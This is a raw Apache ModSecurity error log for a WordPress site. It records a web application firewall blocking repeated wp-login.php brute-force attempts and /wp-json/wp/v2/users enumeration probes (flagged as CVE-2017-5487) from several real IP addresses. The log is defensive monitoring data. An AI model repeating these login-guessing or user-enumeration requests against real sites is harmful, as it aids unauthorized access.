[Wed Nov 12 23:07:53.335098 2025] [:error] [pid 60405:tid 60428] [client 62.60.130.213:61344] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSiyXMGv_mlVi6mf5o0QQAAABQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:00.347365 2025] [:error] [pid 60405:tid 60431] [client 62.60.130.213:61344] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSi0HMGv_mlVi6mf5o0TwAAABc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:00.347474 2025] [:error] [pid 60405:tid 60431] [client 62.60.130.213:61344] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSi0HMGv_mlVi6mf5o0TwAAABc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:04.328598 2025] [:error] [pid 60097:tid 60144] [client 62.60.130.213:51431] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSi1MdT5oio_TbWpi-uFQAAAME"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:04.328721 2025] [:error] [pid 60097:tid 60144] [client 62.60.130.213:51431] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSi1MdT5oio_TbWpi-uFQAAAME"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:07.066282 2025] [:error] [pid 12744:tid 12771] [client 62.60.130.213:55073] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSi151cp_ouUvkFj0WaXQAAARc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:07.619412 2025] [:error] [pid 12744:tid 12760] [client 62.60.130.213:55073] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSi151cp_ouUvkFj0WaXgAAAQw"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:10.489192 2025] [:error] [pid 60095:tid 60117] [client 62.60.130.213:49521] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSi2nlw2elroagFF1pf-gAAAFI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:12.042245 2025] [:error] [pid 23737:tid 23751] [client 62.60.130.213:54581] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSi3BQUsVVfOZWgW_X1MQAAAYI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:15.190248 2025] [:error] [pid 23737:tid 23771] [client 62.60.130.213:59637] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSi3xQUsVVfOZWgW_X1NwAAAZY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:19.129247 2025] [:error] [pid 12744:tid 12754] [client 62.60.130.213:63483] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSi451cp_ouUvkFj0WabQAAAQY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:19.670808 2025] [:error] [pid 12744:tid 12761] [client 62.60.130.213:63483] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSi451cp_ouUvkFj0WabwAAAQ0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:23.316220 2025] [:error] [pid 60097:tid 60144] [client 62.60.130.213:54902] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSi58dT5oio_TbWpi-uIAAAAME"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:24.858955 2025] [:error] [pid 60096:tid 60134] [client 62.60.130.213:54902] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSi6DmzkhCvvk8DXOzSlwAAAIg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:30.878840 2025] [:error] [pid 23737:tid 23770] [client 62.60.130.213:56173] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSi7hQUsVVfOZWgW_X1QQAAAZU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:31.417140 2025] [:error] [pid 23737:tid 23752] [client 62.60.130.213:56173] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSi7xQUsVVfOZWgW_X1QgAAAYM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:32.977103 2025] [:error] [pid 60180:tid 60189] [client 62.60.130.213:56993] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSi8Fhgd7ccS8EZg1p4KQAAAUc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:35.824433 2025] [:error] [pid 60096:tid 60145] [client 62.60.130.213:55577] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSi8zmzkhCvvk8DXOzSnAAAAJA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:37.403471 2025] [:error] [pid 23737:tid 23756] [client 62.60.130.213:53430] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSi9RQUsVVfOZWgW_X1RAAAAYc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:43.151812 2025] [:error] [pid 60097:tid 60167] [client 62.60.130.213:59647] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSi-8dT5oio_TbWpi-uLQAAAM4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:43.722955 2025] [:error] [pid 60097:tid 60170] [client 62.60.130.213:59647] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSi-8dT5oio_TbWpi-uLgAAANE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:08:55.108544 2025] [:error] [pid 60405:tid 60423] [client 62.60.130.213:60513] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSjB3MGv_mlVi6mf5o0bgAAAA8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:04.018276 2025] [:error] [pid 60095:tid 60122] [client 62.60.130.213:62106] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjEHlw2elroagFF1pgLQAAAFc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:16.280802 2025] [:error] [pid 60180:tid 60205] [client 62.60.130.213:56168] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjHFhgd7ccS8EZg1p4SgAAAVc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:20.746308 2025] [:error] [pid 60180:tid 60195] [client 62.60.130.213:56168] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjIFhgd7ccS8EZg1p4TQAAAU0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:21.281478 2025] [:error] [pid 60180:tid 60204] [client 62.60.130.213:56168] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSjIVhgd7ccS8EZg1p4TgAAAVY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:24.072135 2025] [:error] [pid 23737:tid 23765] [client 62.60.130.213:58604] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSjJBQUsVVfOZWgW_X1egAAAZA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:27.141427 2025] [:error] [pid 60096:tid 60156] [client 62.60.130.213:64371] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSjJzmzkhCvvk8DXOzS5wAAAJY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:28.988720 2025] [:error] [pid 60097:tid 60152] [client 103.113.67.34:45038] [client 103.113.67.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.113.67.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjKMdT5oio_TbWpi-uUQAAAMU"]
[Wed Nov 12 23:09:29.507899 2025] [:error] [pid 23737:tid 23765] [client 62.60.130.213:55020] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSjKRQUsVVfOZWgW_X1hQAAAZA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:32.279392 2025] [:error] [pid 60096:tid 60130] [client 62.60.130.213:60374] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjLDmzkhCvvk8DXOzS7QAAAIQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:37.857117 2025] [:error] [pid 60096:tid 60155] [client 62.60.130.213:60374] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjMTmzkhCvvk8DXOzS8AAAAJU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:39.835474 2025] [:error] [pid 60096:tid 60131] [client 62.60.130.213:60374] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjMzmzkhCvvk8DXOzS8wAAAIU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:42.025488 2025] [:error] [pid 60096:tid 60134] [client 62.60.130.213:60374] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjNjmzkhCvvk8DXOzS9wAAAIg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:42.025563 2025] [:error] [pid 60096:tid 60134] [client 62.60.130.213:60374] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 13"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjNjmzkhCvvk8DXOzS9wAAAIg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:49.431324 2025] [:error] [pid 12744:tid 12756] [client 103.170.155.107:42168] [client 103.170.155.107] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aRSjPZ1cp_ouUvkFj0WavwAAAQg"]
[Wed Nov 12 23:09:55.287851 2025] [:error] [pid 60096:tid 60156] [client 62.60.130.213:49706] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjQzmzkhCvvk8DXOzTAgAAAJY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:55.680184 2025] [:error] [pid 12744:tid 12751] [client 205.196.208.80:41744] [client 205.196.208.80] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aRSjQ51cp_ouUvkFj0WawgAAAQM"]
[Wed Nov 12 23:09:56.526926 2025] [:error] [pid 60180:tid 60206] [client 37.140.223.251:42025] [client 37.140.223.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.251, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjRFhgd7ccS8EZg1p4ZwAAAVg"]
[Wed Nov 12 23:09:56.722752 2025] [:error] [pid 12744:tid 12748] [client 103.113.67.34:36470] [client 103.113.67.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.113.67.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjRJ1cp_ouUvkFj0WawwAAAQA"]
[Wed Nov 12 23:09:58.133419 2025] [:error] [pid 60096:tid 60127] [client 205.196.208.80:53868] [client 205.196.208.80] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aRSjRjmzkhCvvk8DXOzTBgAAAIE"]
[Wed Nov 12 23:09:58.326166 2025] [:error] [pid 60096:tid 60141] [client 62.60.130.213:49706] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSjRjmzkhCvvk8DXOzTBwAAAI4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:59.446754 2025] [:error] [pid 12744:tid 12760] [client 103.113.67.34:36470] [client 103.113.67.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.113.67.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjR51cp_ouUvkFj0WayQAAAQw"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:09:59.753337 2025] [:error] [pid 60097:tid 60161] [client 157.15.203.39:40872] [client 157.15.203.39] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aRSjR8dT5oio_TbWpi-uagAAAMg"]
[Wed Nov 12 23:10:01.662667 2025] [:error] [pid 23737:tid 23771] [client 155.138.230.10:56550] [client 155.138.230.10] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aRSjSRQUsVVfOZWgW_X1mgAAAZY"]
[Wed Nov 12 23:10:02.311174 2025] [:error] [pid 60097:tid 60160] [client 62.60.130.213:53229] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSjSsdT5oio_TbWpi-ubwAAAMc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:04.156864 2025] [:error] [pid 60096:tid 60131] [client 62.60.130.213:63539] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSjTDmzkhCvvk8DXOzTCAAAAIU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:07.636467 2025] [:error] [pid 23737:tid 23770] [client 62.60.130.213:53440] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjTxQUsVVfOZWgW_X1rAAAAZU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:18.817387 2025] [:error] [pid 60180:tid 60187] [client 62.60.130.213:54473] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSjWlhgd7ccS8EZg1p4eAAAAUU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:19.359144 2025] [:error] [pid 60180:tid 60188] [client 62.60.130.213:54473] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSjW1hgd7ccS8EZg1p4eQAAAUY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:10:25.420757 2025] [:error] [pid 60405:tid 60431] [client 62.60.130.213:55861] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSjYXMGv_mlVi6mf5o0qgAAABc"], referer: https://rcacivilgroup.com/wp-login.php
